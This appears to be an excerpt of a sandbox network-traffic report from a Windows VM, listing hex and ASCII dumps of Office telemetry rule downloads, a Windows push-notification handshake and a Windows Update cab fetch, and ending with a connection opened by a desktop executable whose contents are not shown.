2024-11-25 17:28:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4bad8666-601e-0032-490e-3eeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172822Z-178bfbc474bvjk8shC1NYC83ns00000007fg00000000wm73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172822Z-178bfbc474bw8bwphC1NYC38b400000007g000000000t7as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172822Z-15b8b599d88wn9hhhC1TEBry0g000000068000000000k6k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49724	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 67 37 5a 38 55 72 58 6c 45 69 6b 6d 45 6d 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 35 37 35 66 65 38 62 37 66 35 32 30 61 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Ug7Z8UrXlEikmEm6.1Context: 5a575fe8b7f520af
2024-11-25 17:28:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 17:28:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 67 37 5a 38 55 72 58 6c 45 69 6b 6d 45 6d 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 35 37 35 66 65 38 62 37 66 35 32 30 61 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 73 57 41 6d 77 42 2b 42 59 38 37 62 74 32 64 4a 4f 68 6a 61 68 4f 70 70 6f 35 34 71 79 33 38 52 37 53 47 55 45 4f 49 66 6a 73 36 4c 41 5a 62 2f 53 50 54 53 36 2b 79 44 54 39 65 45 6e 76 7a 75 6d 30 75 31 54 50 6f 63 6e 73 61 6a 64 46 57 43 4c 77 50 64 6d 35 38 44 42 79 64 72 30 32 4a 55 64 72 43 76 36 66 7a 63 73 33 31 4d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Ug7Z8UrXlEikmEm6.2Context: 5a575fe8b7f520af<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZsWAmwB+BY87bt2dJOhjahOppo54qy38R7SGUEOIfjs6LAZb/SPTS6+yDT9eEnvzum0u1TPocnsajdFWCLwPdm58DBydr02JUdrCv6fzcs31M
2024-11-25 17:28:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 67 37 5a 38 55 72 58 6c 45 69 6b 6d 45 6d 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 35 37 35 66 65 38 62 37 66 35 32 30 61 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Ug7Z8UrXlEikmEm6.3Context: 5a575fe8b7f520af<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 17:28:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 17:28:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 77 4b 34 46 65 53 56 59 55 32 49 76 69 67 45 45 76 51 77 70 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mwK4FeSVYU2IvigEEvQwpw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c38a0343-101e-008e-38bf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172824Z-178bfbc474bp8mkvhC1NYCzqnn00000007fg00000000wp3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172824Z-15b8b599d889fz52hC1TEB59as000000063g00000000syhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49726	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AKVsZxLC8NEf7z4&MD=enY+SlWO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 17:28:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 34da4f02-9ffd-494f-8d8a-b88a5b028b45 MS-RequestId: cc0081ff-c850-44d5-a2dd-b46e1b82fdbd MS-CV: 836/OawtakaGujsa.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 17:28:24 GMT Connection: close Content-Length: 24490
2024-11-25 17:28:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 17:28:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172825Z-174c587ffdf8fcgwhC1TEBnn7000000006c000000000k8n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172825Z-15b8b599d88f9wfchC1TEBm2kc00000006bg00000000dsyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172825Z-178bfbc474bv587zhC1NYCny5w00000007m000000000n9he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49733	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
